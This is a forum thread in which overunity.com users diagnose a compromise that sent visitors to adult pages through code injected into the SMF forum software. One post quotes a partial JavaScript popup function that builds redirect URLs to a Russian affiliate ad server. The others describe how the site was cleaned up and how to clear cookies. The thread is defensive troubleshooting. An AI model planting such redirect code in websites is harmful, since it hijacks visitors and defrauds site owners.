Explicit content site opens when I enter overunity.com

[hansvonlieven]

You got to be right AquariuZ,

That 1traff.ru keeps coming up here but it is difficult to spot because the message is very brief. Well done.

Hans von Lieven

[AquariuZ]

BTW to accomplish this, they DID at some point inject code into SMF.

If you wish to track down the culprit check the JS call from the server to 1traff.ru

The handler function uses a parameter called id to determine which affiliate is calling the ad server.

So someone is making money off third party sites using a russian affiliate program, they do not even have to be the owner of the skin sites. Pretty nifty.

PARTIAL QUOTE
function popup_4268ClUpTrafRu(gocode) {
   day = new Date(); URL192 = "http://yahhoou.com/search.php?id=XXXXX&go=" + gocode + "&close=" + gocode + "&hash=0668e20b3c9e9185b04b3d2a9dc8fa2d0&domain=builtwith.com&adult="; URL392 = "http://yahhoou.com/search.php?id=XXXXX&go=" + gocode + "&close=" + gocode + "&hash=0668e20b3c9e9185b04b3d2a9dc8fa2d&domain=builtwith.com&adult="; URL427 = "http://yahhoou.com/searcn.php?id=XXXXX&go=" + gocode + "&close=" + gocode + "&hash=0668e20b3c9e9185b04b3d2a9dc8fa2d&domain=builtwith.com&adult="; id = day.getTime();
END PARTIAL

Look at the XXXXX. It should contain a 5 digit affiliate code.

With that you can report & prosecute if you so desire.

AZ

[hartiberlin]

Many thanks for all your help.

I made an FTP backup of all the server files
and then deleted them and restored the files
from my other domain.

Now it is all solved.

There were still some old scripts
from TinyPortal and some other scripts
stored in the webspace, maybe someone
used them to compromise other files.
But now these old files are all cleared and
now also the caching is working correctly.

Regards, Stefan.

[AquariuZ]

Many thanks for all your help.

I made an FTP backup of all the server files
and then deleted them and restored the files
from my other domain.

Now it is all solved.

There were still some old scripts
from TinyPortal and some other scripts
stored in the webspace, maybe someone
used them to compromise other files.
But now these old files are all cleared and
now also the caching is working correctly.

Regards, Stefan.

Please note that all clients need to purge their .ru cookies and session data too.. (or all)

AZ

[hartiberlin]

You mean,
alll users should clear their browser cookies and browser cache ?

In Firefox you can do this by going in the menu to:

Extras/Clear private data

and then select
cookies and
cache and
offline webpages datas.

Hope this helps.

Many thanks for your help.